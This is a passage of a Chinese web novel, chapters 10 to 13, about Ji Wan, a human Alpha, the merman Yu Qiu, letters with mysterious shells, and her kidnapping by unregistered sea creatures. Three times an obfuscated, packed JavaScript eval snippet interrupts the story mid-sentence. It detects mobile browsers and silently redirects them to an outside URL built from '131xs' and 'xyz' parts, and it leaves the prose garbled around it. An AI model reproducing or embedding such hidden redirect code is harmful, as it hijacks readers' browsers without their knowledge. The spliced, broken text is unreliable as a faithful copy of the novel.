一开始只是为了打发时间,后来她爱上了那种将所注视之物拓印在纸上的感觉。 天空和水体会在阳光下折射出宝石一样绚烂的光,人的发丝和凋落的树叶,就像长着光的碎屑一样闪闪发亮。 老太太们中有一位很厉害的画家,当时曾说,季晩有一双很厉害的眼睛,她能看到其他人看不到的颜色,那是一个与众不同的绚烂世界。 她们夸赞季晩是天生的色彩魔术师,直到—— 啪嗒一声,她合上了那些拍摄的疗养院生活照片。 闭上眼深呼吸了一会儿,季晩拿起了旁边的几封信,这里面有几封是未拆封状态,今年的信她还没有看过。 【季晩小丫头,听你们院长说你今年要毕业了,最近画得怎么样?都好久没看你拍的照片了,我们几个老家伙在疗养院这边过得还挺好的,就是今年的水果呀,甜得直让人掉假牙,海岛上就不能偶尔上来一点酸甜味的东西吗……】 漫长的一封信描述的都是生活的琐事,在那么一座与世隔绝的小岛上疗养的老人,都不太喜欢现代的通讯设备,她们热衷于写信这种传统的方式,让轻飘飘的一张纸,贴上邮票,盖上邮戳,通过漫长的旅途,一步步漂流到目的地。 时间会赋予这封信新的意义,这是她们说的话。 季晩看完了那几封寒暄的信,心情放松了很多。 等身体状态完全恢复之后,她会挑个时间写回信,只不过她又看了箱子里其他的东西,视线再次落在了角落那几个贝壳上面。 这些信每次寄过来的时候偶尔会附带一些邮件包,里面会放一些海岛上老人们给她编的手串小链子等各种手工制品,通常都会在信里强调归属,偶尔还会互相攀比,说自己做的手串比隔壁床的破烂书签好看。 唯有这些贝壳,老人们从来没有提起过。 季晩还记得第一次收到贝壳的时候,是在她18岁,刚经历完人生当中最灰暗绝望的日子。 那些从不用通讯设备的老人们,第一次集体和她打了电话,她却没有接,直到一个月后信件到达。 那时候刚经过了初步治疗,已经能和外界产生交互活动的季晩,终于能够缓慢的打开信件,从那琐碎的日常里,渐渐的学会了如何像个人一样继续生活下去。 从那时起,她收到的信封里,总会放着一个非常漂亮的大贝壳,但老人们从来没有告诉她是谁送的。 明明连岛上捡的一片树叶,都会强调是谁谁谁亲手捡了,做成书签寄过来的,偏偏贝壳就是没写名字。 季晩曾经问过老人们,结果得到的答案是,反正她们寄来的不是信就是纪念品,明明都有名字,其他的让季晩自己想。 那总不能是邮递员中途自己捡了偷偷塞进来的吧? 季晩想到这个可能都觉得有些好笑,就像是这里面混入了一位不知名朋友送来的礼物,老人们却不打算告诉她是谁。 和梦里有些像。 她童年难道真的认识过一位看不见的朋友吗? 季晩拿起一块贝壳,能看得出来,每一个都是精心挑选过的,手上这只就是颜色接近阳光的金斧凤螺。 她拿起金斧凤螺看了一会儿,不知道是不是因为昨晚听人鱼唱了歌,季晩莫名的突然有种冲动,把这东西拿起来扣在了耳边。 耳郭被海螺口覆盖,摒弃掉杂音与思绪后,她放空大脑,听到了一种海潮一样的声音。 某一刻,季晩又有些想笑。她其实知道,海螺里听到的这些杂音,其实是颅内血液流动的声音,用手笼罩住耳朵,有时能有同样的效果。 她居然在某个瞬间想过,或许海螺里能听到近乎于人鱼歌声一样的海潮。 看来昨天晚上的人鱼歌声果然还是后劲太大了。 她将海螺放回,把信件也收拾好。 可能有一些鬼迷心窍了,她想。 慢慢做完家务,收拾了家里的每一个角落,像是整理记忆一样,将原本空荡的房子又扫了一遍,无事可做了的季晩,待在海绵垫充做的沙发上,第一次觉得这个家其实是有些空的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318270|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虞秋没有直接和她说语音聊天的时间,只说上完网课告诉她,季晩就像是等着一条不断迫近,但又不知道具体时间点的终点线。 最后只好先给江炽打了个电话。 那头似乎在忙,能听到嘈杂的人员交谈声。 “你的数据我看了,说实话,变化有点惊人,要不是你这几天都在家没出过门,我都怀疑你是不是找了个匹配度高的Omega出去约会了……” 季晩有些头痛地打断她:“所以我的隔离时间不一定是10天了=对吗?” “具体还得等我下次再过去给你测一下血液结果,抑制剂反正是越晚补充越好,你是有什么急事要出去处理吗?” 季晩没说是,也没说不是。 恰好手机app上叮的一声响,有新的消息提醒。 季晩看到了熟悉的鱼尾吧,于是和江炽又说了几句就挂断了电话。 “滴滴滴,hello学姐你在吗?刚刚为什么电话没接到呀?” 季晩发现,虞秋现在和她说话变得比以前要黏糊了很多。 她只说了句刚才有事在和别人打电话,于是小鱼就此转移话题,说起了今天下午上的通识课。 季晩其实有些不太懂,虞秋为什么会提想每天打电话这样一个要求,虽然人鱼很难在岸上交到同族的朋友,但在学校里虞秋肯定是不缺人类好友的。 “……学姐你走神了,我刚刚问你这附近开了好几年的那一家火锅店好不好吃,你还没回答我呢。” 季晩眨了一下眼睛,靠在沙发上说:“那一家还不错,海鲜比较多,很新鲜。” 然后虞秋果不其然提出了,下次有机会一起去吃。 直到挂了电话,季晩才意识到这一个小时过得有多快。 她缓了一会儿,这才开始做今晚要做的其他睡前准备,虽然没有听歌,但她这一晚睡得很好,没有做梦。 接下来的日常过得很快。 即使见不了面,虞秋每天雷打不动会在睡前给她打来语音电话,有两次还哼哼着想唱歌,刚酝酿一会儿就被季晩打断。 “你唱的话,我会挂电话的。” 隐含的意思是如果不乱唱歌,她就不会挂断,虞秋直哼哼:“学姐你这样好像是在说我唱歌很难听诶。” 严格意义上来说,季晩并没有听过虞秋唱歌,人鱼的吟唱没有任何歌词,是如同渐进海浪洗涤思绪的音调。 但季晩也不知道是不是错觉,虞秋的声音仿佛也带着魔力,只是聊聊天,也会让特殊时期本该躁郁的她变得平和了很多,江炽中途来给她测过一次血了,再过两天她就可以补充新的抑制剂,恢复自由身。 而仅仅只是几天固定时间打电话,就让季晩感觉自己和虞秋的关系变得已经很近了。 她不再像开始一样,带着轻微的焦虑等待一个不知道什么时候会打来的电话。 他们固定了具体的聊天时间,偶尔,虞秋甚至会抱怨,为什么一直都是自己在说,想让学姐说说自己每天在家里宅着做什么。 季晩也慢慢地也会开口说自己的事了。 直到她终于说起,自己有一箱从以前开始就会固定收到的信,以及信里面会附带的那个她觉得不明所以的贝壳。 电话那头安静了一会儿,似乎能听到小鱼扑过来的呼吸声。 虞秋觉得,那似乎是在笑,但笑得好像不是很开心。 “季晩学姐,有没有可能,那些贝壳不是纪念品,也是信呢?” “搞不好你以前偷偷和一条小鱼交了朋友,他给你写了信你却看不懂哦。” 11. 第 11 章 一条鱼要怎么写信呢? 季晩差点以为虞秋说的是他自己这条人鱼。 很快她就反应过来了,这大概是在开玩笑,毕竟她很确信自己以前从来没有见过虞秋。 季晩也笑了一下:“可能吧,不光是鱼,我以前在疗养院还和树做过朋友。” 最强壮的那两棵树,会拉出一张吊床,让她美美的睡午觉,也陪她在夜晚看过了无数次潮涨潮落。 还有一块形状像螃蟹的石头,季晩那时候给它画了好多不同角度的画,被老人们戏称是季晩素描进步的大功臣。 虞秋就那样安静的听季晩说小时候的故事,偶尔也会提几句自己小时候的事。 “我们人鱼小时候,和大部分生物都不太一样。” 虞秋吊足了季晩的胃口,然后耍赖一般说了一句是秘密不能告诉你,然后就说今天太晚了挂电话了早点休息吧,他知道季晩今天已经注射过抑制剂了,明天就要去学校。 结束的通话界面上显示,本次通话时长为1小时59分。 明明原本约定的是每天打一个小时的电话。 季晩捏了捏山根,有些不太适应这种潜移默化改变的生活习惯,但好像又无法拒绝。 她这几晚睡得都很好,一次奇怪的梦也没有做过,虞秋说明天他有事要处理,季晩不用送他去学校。 但第二天,季晩开车的时候视线总会不经意的会扫到好几次副驾驶。 明白自己的潜意识想法之后,她觉得习惯真是个可怕的东西。 院长已经在学院那边等着季晩了,之前恶意破坏窗户导致的信息素紊乱事件,倒是让这个雷厉风行的女人意识到了某种潜在的危机。 李曲沅下巴努了努办公桌对面的椅子,让季晩先坐下: “学校那边已经开会决定,接下来会减少大家在校上课的时间,直到今年的台风季过去。今天叫你过来也是想让你看一下院方这边的监控画面,和其他的调查人员指认一下,有没有你认识的家伙。” 雕塑教室对面的停车场,有车辆的行车记录仪拍到了合适的画面。 但作案人员似乎并不是校方学生,这些视频不能外传,最后只能让当天遭殃过的学生都来指认一轮。 案件相关的工作人员很快就来了,和季晩一起再次查看视频。 “……怎么样,这几个家伙你有印象吗?” 季晩眉头紧皱盯着监控画面里闪过的图像,一共有三台车拍到了那几个人砸破窗户,然后再喷洒药剂的画面。 徒手卸掉半面窗框,这种力量并不是人类可以拥有的。 “他们的手环呢,没有办法直接查到那个时间段在这片区域活动的幻想种吗?” 李曲沅叹气:“我没办法透露具体的消息,反正手环定位轨迹这个行不通,目前只能靠肉眼判断有没有人见过他们。” 这几个家伙其实也做了伪装,有戴帽子和口罩,加上手环无法使用,即使被拍到也很自信没有人能知道他们的身份。 季晩并没有直接分辨出那几张脸,思考了一会儿,她和边上的工作人员说: “里面那个个子矮矮有一点驼背的,可能去年在上青路的零点咖啡店工作过,我不知道是不是同一个人,你们可以查一下。” 全市的幻想种数量总共就那么多,但季晩有一个和常人不太一样的体质,她每年都要莫名其妙的遇到好些个主动撞上来的幻想种。 她刚刚提到的这个人,有点像之前在咖啡店,故意往她身上撞了一下的那个服务员。 以处理衣服污渍为理由找她要过联系方式,季晩没给,所以只能让别人去找那家咖啡店核实了。 “你这几天出行多注意一下安全,毕业作品那边拍几个扫描件走吧,再完善一下设计稿具体的细节,其他的先放着,不做也行。” 李曲沅倒是没像以往一样催着她画画了,虽然有时候对这个学生有些恨铁不成钢,但她也知道季晩每年没有待在本市的时候,似乎在频繁的看医生,当年的事故到底还是造成了不少心理阴影。 季晩嗯了一声。 李曲沅当着那些工作人员的面也不好说什么,只是压低了声音,在季晩耳边又反复强调了一遍:“法治社会,你要善用手环报警,别做什么冲动的事。” 季晩有些好笑的看了她一眼,乖乖的又嗯了一声。 旁边的工作人员有些不明所意,倒是也提醒了一句:“你们这些上次受到影响的学生,都已经被标记为特殊关注的对象了,呼叫警卫就会第一时间过来,幻想种和人类力量比较悬殊,学生仔还是安全第一。” 旁边的李院长欲言又止,止言又欲,最后只拍了拍季晩的肩膀,让她早点回去。 在家闷了这么些天,季晩当然不会立刻就回家,她看了一眼时间,虞秋今天早早就去了工作室,说要完成上次没做完的雕塑作业,结束时间可能在6点左右。 或许今天就可以请邻居吃个饭,理智告诉季晩,不能欠那条人鱼的人情欠太久。 季晩按院长说的,去看了一眼自己毕业展的半成品,又拍了几张照片,设计了一点新的思路,只不过看着眼前那张全由黑白灰构成的巨大画幅,她手指轻轻微动,总有一点不合时宜的冲动。 脑海中闪过某些生动的颜色,她却不想抓住。 手机叮的响了一声,某个被她备注成小鱼图标的联系人发来的回信。 是一条十几秒的语音。 “好呀,今天就去吃吗?那我想吃上次提到的那家海鲜火锅,我这边的话还差一点打磨工作,我尽量快一点完成,大概5点左右我们在东校区门口集合?” 东校区旁边有一块建筑工地的废料处理区,雕塑系的学生这两天完成作业之后会把废料拉到那,一块让学校处理。 虞秋应该是打算处理完废料之后顺便过来。 季晩到达约定地点的时候,还能看到有工人在换班,据说是学校把所有的监控全部排查了一遍,同时也花了大成本,下达了很多教学楼的整体改造计划,正在日夜兼程的完成。 她把车停到临时停车场那边,看了下时间,离约定空头的时间还有20来分钟。 她打了个电话确认火锅店那边是否要排队,预约了两个人的位置,等开车过去差不多就能吃上了。 打完电话,耳朵传来一阵奇怪的刺痛感。 季晩偏头,有些不舒服地捂了一下,这么一偏头的功夫,余光里好像有什么东西突然快速地移动了一下。 季晩立刻转头,透过车窗玻璃,她注意到不远处灯光无法照到的位置,有一辆灰色的破旧面包车后门开着。 而两个黑影正合伙提着一个巨大的麻袋,飞速甩进了面包车的后车门。 不远处就是学校规划的那片建筑废品丢弃区,这行为有点像是来“拾荒”的。 因为建筑工人的出入,这个平常鲜少使用的东校区小门,最近车辆进出管的并没有那么严,再加上学校正在排查监控,估计也很难想象有人会在头顶天眼频繁运转的时候,敢做什么出格的事。 但季晩已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旁边的那个同伴用平板继续扫了一下季晩的手腕,表情又是惊诧又是狂喜。 “咱们这今天运气也太好了,这是上次标记的里最大的那条鱼!” “让后面的车今天别行动了,拖着后面的保卫队,咱们先走!” “还有,把后座上对应的Alpha药剂拿过来,到达仓库后马上开始提取她的血液和腺体分泌物质,错过这一次,咱们要等很久才会有这种好机会了!” 破旧的面包车像一条泥鳅似的,迅速滑出夜幕即将降临的校园。 季晩看着那逐渐接近她脖子的针管,冷冷抬头注视着那个满脸横肉的鲨鱼男,在她做什么之前,突然,面包车猛地颠簸了一下。 巨大的冲击力让后排上没有系安全带的几个人都往前趔趄了一下,拿着针剂的鲨鱼男破口大骂:“老七你干什么吃的?好好开!” 结果在驾驶位上传来了老七恐惧的声音:“你不是说让人去拦截追兵了吗?后面有个疯子突然就冲上来了,怎么办啊!” 季晩和鲨鱼男一起看向了面包车那显些被撞歪的后视镜。 鲨鱼男气急败坏地骂着脏话,迅速拨通了电话,怒骂同伴为什么学校里会开出来一辆破破的驾校二手车,这都没拦住,后面那一些收尾的人是干什么吃的。 而季晩愣了一下,后视镜的画面里,灰扑扑的驾校车上,她看到了一头眼熟的金色。 12. 第 12 章 季晩皱眉,她在行动之前,明明给虞秋发了消息,把人鱼支开去了另外一个地方。 虞秋显然是发现了什么,居然直接开了俩不知从哪里找来的驾校车上路。 这家伙完全不复在季晩面前的乖乖学弟模样,带着一股绑匪都害怕的狠劲儿,卯足了劲往这辆车屁股上继续撞。 毫不犹豫地,又是砰的一声—— 车里的乘客被他撞得像滚筒里的娃娃似的左摇右摆。 “一群蠢货,赶紧走C计划的路线,等下信息素监察队的人也过来我们就完了!” 他们这次紧急袭击,最重要的一点就是得快,在被抓住之前一定要迅速撤离。 好在这车其实改装过,只是看上去破,他们知道之后都一定会同时遭到幻想种协会和人类的追杀,所以提前做的准备可不是一星半点。 “老三,直接开隐形!” 前头开车的矮个子听闻此言,狠下心抬手,对着自己的虎口狠狠咬了一嘴。 流出来的血却不是殷红的颜色,而是泛着淡淡荧光的蓝,顺着他的手臂蜿蜒往下流淌,侵蚀了车内的内饰。 面包车的真皮座椅上被这么蓝色的血液一浸透,顿时和鱼鳞片似的开始呼吸,共振着闪烁奇异的光。 季晩很快就注意到,以那个司机为中心,视野里这辆车的一切颜色都在飞快的变淡,直到某个瞬间像是变得半透明一样,连带着车里的乘客们,也一起变得有些隐形。 此时是晚高峰前夕,这辆面包车挑选的逃离路线非常精妙,加上突然爆发的隐形技能,就和一滴水似的融化在了川流不息的车队之中。 肉眼都无法发现的目标,追兵自然没能跟上。 而季晩的脑袋里飞快的闪过一些曾经被母亲灌输的知识。 闪电银龙鱼,目前已知唯一一种能在深海中实现光学隐身的特殊鱼类,数量极其稀少。 在陆地上使用这样的技能,居然能达到如此惊人的效果。 季晩也是在这个时候,才觉察到包括司机在那个所有幻想种的手腕—— 全部都没有佩戴手环。 和人类为了身体监控所佩戴的信息素手环不同,幻想种上岸后所佩戴的三色手环,是带有强制性意味的。 由于个体差异,为了避免幻想种对人类社会造成的巨大冲击,每一个上岸的鱼类都需要受到协会和人类的共同监测。 尤其是被标记为红色威胁等级的个体,一旦靠近岸上的AO人类并且主动释放信息素后,幻想种自己的手环会自动开始闪烁三种颜色不同的灯光进行警示,而被骚扰对象的手环甚至可以一键报警。 曾经有不少人觉得这东西是对幻想种的偏见,是把他们当做潜在的罪犯进行监控,但至少在当前时代,在力量不对等的情况下,上岸就被监控,是幻想种们不可避免要付出的代价。 而季晩面前这一群明显是有备而来的劫犯,身上却没有手环的痕迹。 是谁帮他们来到岸上的?又是谁策划了这次的袭击,能够里应外合天衣无缝的在警卫队到来前逃出学校? 要知道,学校里甚至还有上一次调查袭击事件的相关人员在。 季晩的脑子飞快思索各种线索,鲨鱼男见她一直不说话,还以为她也被后方来车给唬住了。 狂鲨抬手看了一眼自己手上的针剂,到底还是没打算在这么危险的情况下给季晩注射,一个被信息素影响发狂的高等级Alpha到底还是太不可控了。 他招呼同伴拿了点特殊材料,把季晩捆得更紧了一些。 “后面那两个麻袋里的家伙也弄到前面来,等下马上换车。” 每一个幻想种使用特殊能力后都会进入一段时间的虚弱期,狂鲨现在的状态并不好,虽然他看上去五大三粗,但同时也充当了团队的大脑,除了进行武力压制,还要时刻观察团队状况。 抹了一把头上的冷汗,他赶紧下令:“接洽的车已经在准备了,15分钟后立刻换车。” 多亏他当机立断的命令让司机提前使用了隐形技能,至少后面那个追车的神经病暂时被甩开了。 这次行动最重要的是隐蔽性,是不被发现,不被目击,不被怀疑,现在一个都没做到。 幻想种的特殊能力一直被瞒得很死,特殊定位手环其实也是在变相的削弱他们在一般人类心目中的威胁。 但是对于他们这一群没有被登记在册的黑户来说,只要使用一次能力就有了极大的暴露风险,而车上目睹了这一切的季晩肯定是不会被轻易放过了。 “你倒是个优秀的长期血包,放心,我们暂时不会对你做什么,但之后肯定会好好把你圈养起来,榨干每一滴价值的。” 狂鲨把药剂收好,还想拍拍季晩的脸却被她躲过。 季晩早就蓄势待发,猛地用脚一踹,狂鲨一时不察,居然被踹得撞上了面包车另外一边的车门。 绑成这样,这鬼家伙力气还这么大! 他靠了一声,刚准备直接给这不老实的俘虏来上一拳,结果车子又是猛得一颤。 狂鲨一把抓住面包车上的拉环,这才没又被甩到车的另一边。 他几乎是气得火冒三丈地怒吼:“老七!!又是怎么了?!” 司机显然也不好受,前面使用了能力失了不少血,刚刚又猛地一打方向盘,腿还被东西砸了一下。 “后面那车又阴魂不散的跟上来了!我也不知道是怎么回事啊!!!” 他这个隐形能力以前在海里用的时候,一般连雷达监测都捕捉不到,再加上肉眼隐身能力,在人类社会几乎是无敌的存在,怎么会甩不开一辆小破车? 狂鲨骂了好几句脏话,直接扒到了车后座上仔细观察这个无名追兵。 “靠,老子看到他手环好像在亮光了,这玩意儿居然是红色标记的幻想种。” 这一下狂鲨的火气降了三分,警惕心不断升起。 面对人类,他们想的是能避就尽量避开,毕竟不能直接撕破脸,糊弄一下还是很容易的,但同类就不一样了。 尤其是红色标记的同类,他们可比人类更知道这颜色意味着什么,那可是在深海里都位于绝对统治阶层的猎杀者。 “老五把枪拿好,老七继续开车,马上在前面拐弯下去,咱们立刻换车!” 后面跟着那辆车上的是个陌生面孔,金色头发,狂鲨一时之间想象不出来是什么种族,他左右手拿着一个对讲机和一个电话,很快和两边不同的接应对象核对信息。 前方开车的老七一直观察环境,马上发出了提醒: “要进隧道了,你们把人都抬好!” 为了避免意外,季晩暂时没有被打引导发情的药剂,而是用一种带有一定麻痹效果的特殊藤蔓捆得严严实实,无法动弹,连嘴也被捂着。 她只能用一双眼睛观察车里的情况。 面包车里本次行动一共有四个家伙,开车的一位,副驾驶拿武器的一位,鲨鱼一个,还有一个一直闷着不说话的大块头,看上去傻傻的,直接抬了两个麻袋扛在肩上,看着今晚的工作应该是搬运。 狂鲨不怎么放心季晩,亲自把人捆着用刀抵着往。 面包车在经过隧道某个出口的时候,猛地右拐进入匝道,然后一辆巨大的货车从后方乘机插队,遮住其他车的视线,和被别车的追兵。 除司机以外所有人,在30秒内立刻换车,借着货车边缘的楼梯飞快的爬上去,杂技演员似的跳到了另外一边的长途小巴车顶上。 季晩在抬高的视线里,看到了后面那辆车头已经撞得破破烂烂的驾校试验车。 她第一次看到这种表情的虞秋。 慌乱急切,甚至带着一种暴戾的情绪,眼眶发红,也不知道是着急还是生气。 虞秋应该是看不到面包车的具体情况,不知道车的具体方位,只是跟着大致方向继续在追车。 现在隐形能力失效,却又被大卡车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318272|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挡住了视线,完全没注意到后方盲区。 虞秋的视线一直在左飘右飘,车窗玻璃是打开的状态,他正在闻风里的味道。 季晩的手环突然震动了一下,她耳朵微动,立刻抬头往天上看,有嗡嗡嗡的声音响起。 显然不光是她,追着面包车不放的虞秋,以及正带着季晩移动的绑匪也意识到了头顶的无人机。 离开那辆面包车之后,他们身上附带的隐形效果也散去了,此时暴露在无人机底下几乎是最糟糕的情况。 “靠,放弃换车计划等下直接跳下去!”这时候换小巴车也没用了,无人机已经跟上来,说明人类的追兵很快就能用科技锁定他们。 而带隐形能力的司机,只有老七一个。 都怪这个该死的开驾校车撞他们的神经病!要不然老七的能力还能留在现在这种关键时刻再用! “直接跳车的话,人质死了怎么办?他们的血液和信息素只有活着的时候才持续有用啊。” “要是淹死了,待会儿能抽多少就抽多少,总不能这一趟白冒险!” 老五一听狂鲨这话,就知道现在情况已经是退无可退了。 他立刻在卡车顶上架好姿势,一枪击落了最先靠进的无人机。 老五的枪法非常好,在掩护方面狂鲨向来是放心的,只不过今天晚上狂鲨被后面那辆追兵车已经搞得焦头烂额了,所以让老五先给后面那辆车也来一枪。 季晩一听这话,眼神瞬间就变了。 她的目光从小巴车顶只能看到虞秋那晃动的金色头发,以她观察到的这个叫老五家伙的枪法来看,绝对不能让他瞄准虞秋! 季晩缓缓的闭上眼睛,无视了手腕上震得越来越厉害的手环,她的腺体开始发热,空气中无形的信息素正在缓慢扩散,却像是被一只无形的手拧住,往某个方向笼罩而去。 本来驾驶舱瞄准的老五脑袋突然晕了一下,他也是个alpha,几乎第一时间就感受到了不适。 “等等,狂鲨,好像哪里不对……” 就在他这么一恍惚的功夫,几十秒过去,却听狂鲨一声大吼。 “……来不及了,到跳车点了,准备!” 视线有些重影的老五赶紧把枪收好,让后面的头大块头背好两个麻袋,然后狂鲨带着他们俩从小巴车顶,一个加速助跑,就着高架桥直接往下跳。 后头狂追不舍的虞秋,终于看到了小巴车顶已经穷途末路的几个绑匪。 也看清了他们助跑起跳的动作,和被挟持的季晩。 某个瞬间,虞秋感觉自己心跳都要暂停了,他的手环几乎立刻发出一股浓烈的红色光芒,血液里的某种代表攻击性的特殊物质剧烈分泌。 驾校车猛地一转方向盘,他直接在边缘大道撞向了护栏,在一声惊天巨响后,没事儿人一样的虞秋扒开安全气囊,一脚踹开变形的车门,身体探出护栏,视线往下搜寻。 狂鲨的逃亡路可谓是精心挑选,沿山隧道出来后的高架桥尽头,是本市著名的网红区域,底下是本市海湾的一大片璀璨的水域。 原本还拉了金属隔离网用来避免坠落事故,而此时,那片拉网被早早地割出了一大片缺口。 提前计划好跳车时间点的狂鲨几人,成功带着人质从缺口跳入了一望无际的大海。 他们几个绑匪都是幻想种,下了水跟回了家一样,但被绑的人质却不是。 尤其是季晩。 尤其是季晩!!! 虞秋知道她根本不是讨厌水,而是在当年的某个事故之后变得绝对不能下水了。 虞秋心底的愤怒几乎是成倍生长,他无视了头顶新飞过来的无人机喊话,也无视了亮着红灯的手环上疯狂响起的警报,直接沿着刚才几人跳下的缺口,猛地飞跳扎进了海里。 无人机盘旋下降,在黄昏逼近后,只能用高射灯扫射已经逐渐变得幽暗的水面。 只监控到了一抹巨大的金色鱼尾。 13. 第 13 章 从意识到狂鲨他们打算如何逃跑,到真正跳桥入海,季晩只感觉周围的每一帧画面都在慢放。 起跳的绑匪,被抓着下坠的身体,穿过破损的拉网,刺入倒映着黄昏的海水。 咕噜咕噜翻滚的气泡,像是药剂注射时的不良反应,季晩仿佛一块燃烧着坠入海里的冰。 她的腺体在发热,身体却在越发冰冷。 无法呼吸,视线受阻,大脑也开始震颤。 耳边是反复纠缠的呼喊,人在面临同样痛苦的时候,记忆就会开始纠缠。 “——季晩快跑!” “别管妈妈,快走,船要沉了,季晩你快走——” 尖叫,爆炸,血肉撕裂。 大片的彩色光斑滑过视网膜,仿佛要不可挽回的走向最糟糕的结局。 不,不可以。 季晩像是突然开始挣扎的鱼,迅速锁定了离她最近的物体,如果那些逃命途中的绑匪抽空看一眼,就会发现她现在的眼神,和已经进入狂化期的Alpha没有区别。 海中正带着俘虏快速浮潜的狂鲨,只觉得手臂一疼,还没意识到发生了什么,鲨鱼敏锐的嗅觉系统已经让他嗅到了血腥味。 下个瞬间,血雾弥漫。 他甚至没能第一时间反应过来自己是被什么东西攻击了,直到熟悉的海蛇藤蔓缠绕上了他的手臂——那原本是用来绑季晩的东西。 身体已经有一半变成鲨鱼原形的他骂了几句脏话,飞速抬起拳头就要反击。 结果在水里本该因为缺氧而神识不清的人类Alpha,却和鱼一般的灵活,弯腰摆腿,把狂鲨当成了一棵树借力,不仅迅速绕过了狂鲨的袭击,还再次袭向了他的脖颈动脉。 不对不对,手臂上被撕下一块肉的狂鲨瞬间就意识到了哪里有问题。 这个人类Alpha的牙齿,为什么变得和他一样成了锯齿状的鲨鱼牙? 周遭血雾在弥漫,尽管和俘虏打了起来,但他的腿依旧在努力拍打水,摆动着前行。 此时距离他们跳下悬崖没多久,几人在贴近山体的部分进入了一处早早踩过点的崖洞,顺着里面的水下通道一路穿行,当务之急是要迅速游到外海,彻底甩开追踪。 前头的大块头原形是剑鱼,已经用最快的速度窜出了通道。 他们几个绑匪长时间在水下活动都没关系,但由于没有潜水设备,几个人类在这几分钟的行程里,被直接淹死的可能性就太大了,所以直接让剑鱼老九变了原型,迅速带着两个麻袋往前冲。 狂鲨速度是仅次于剑鱼的。 现在拿器械的老五速度最慢,还在后头收尾,避免有追兵,狂鲨现在谁也指望不上,只能尽可能的先把人带出这条通道再说。 但咬着牙和季晩打了几个来回,狂鲨越打越是心惊,他看着眼前的人类,简直无法认出这到底是什么属性的怪物了。 水中只能看到弥漫的血雾,一开始全是他的血,后来也有了季晩的血。 血液里面蕴含的信息素仅次于某些特殊液体。 狂鲨几乎是瞬间就红了眼,他终于知道哪里不对了,身为一名海洋Alpha,他不可能会对另外一个人类Alpha的血液产生反应,但此时就像是有一把火点在了他的脑子里。 人类的abo信息素交互和海洋生物是不同的,人类A与A之间闻到彼此的味道,就像是踩了尾巴一样会生气会彼此敌视,但也会文明的相互走开,避免战斗。 这是成千上万年文明发展带来的秩序和规则。 而海洋是更加蛮荒的地方。 海洋幻想种的信息素一旦散发出来,会在海水中迅速传播,所以他们通常都会把信息素压制得很好,一旦泄露,A和O相遇都还行,AA相遇那只有一个结果,不是你死就是我亡。 所以为什么陆地上随着科技进程诞生了抑制剂,而海里却没有,这不光是文明断层,更是文化的差异。 海洋比人类社会还要信奉阶级,人类划分的Alpha等级,是用来警示信息素含量以及其稀有程度,而在海洋里测分出来的不同种群,以及等级,代表的是绝对的力量统治。 海洋三巨头之所以被称为巨头,是因为他们种族用几百年几千年杀出来的名号。 而现在,他居然在一个人类的信息素里面,闻到了属于海洋阶级生物采用的那种挑衅专用的信息素,这绝对不是人类身上能产生的东西。 如果不是因为之前一系列前期准备,让他确信了以前这个是纯种的人类,并且验证了季晩的信息素对其他的海洋幻想种是有用的,那么狂鲨几乎要怀疑自己眼前这个也是一个和他一样没有带监管手环的海洋黑户。 为什么季晩的信息素里,会有和自己近似的鲨鱼挑衅的味道? 简直就像另外一头人形巨齿鲨! 季晩的攻击依旧在继续,但狂鲨好歹是天生的鲨鱼,而且他的当务之急可不是真的和季晩干一架,而是赶紧从通道游出去到外海才能避开真正的追兵。 还好,狭窄的水下通道后方很快传来的动静,是老五。 狂鲨立刻给他打了个手势。 “镇静剂!快,海洋种专用的!” 老五的脑子转得飞快,手上的枪换成了水下特用的注射枪,直接更换子弹,就近对着季晩来了一枪。 又一团血雾炸开,季晩的动作僵持了一瞬,居然还有力气再次抬手,往狂鲨脖子划了一道狠的。 后面的老五赶紧又补了两枪,有点后怕:“她待会直接死了怎么办?” 这个剂量,打在一头小型鲸鱼身上,也够睡一觉了。 狂鲨:“靠这家伙身上绝对有问题,你看她的牙。” 不光是牙齿,老五甚至看到了季晩脖子下面出现的三条很淡的痕迹,那是鲨鱼侧脸常有的折线鱼鳃。 好消息是,看样子在通道里耽误了这会儿时间,季晩是淹不死了,腮旁边红色的水流被吸入又吐出,应该是开始了水下自主呼吸。 “等一下让博士看看,这家伙身上绝对有问题。” 前头剑鱼老九,早就带着俘虏穿出了水下通道来到了外海边缘处,直接登上了接驳船只。 湿漉漉的麻袋里,两个几乎全晕过去的人类脑袋上,分别被套了泛着浅红色的巨大鱼鳔,勉强够他们在这三分半的路程里没有直接窒息而亡。 一个穿着白大褂的老头冷哼了一声:“还好没把人直接给弄死,要不然这一趟才是亏大,带进去好好看管起来,这可是活着的血包。” 船上的工作人员接过麻袋。 而老九上船后就站在甲板上呆呆看着下边,直到水花咕噜鼓起几个大泡,冒出了老五和老三的身影。 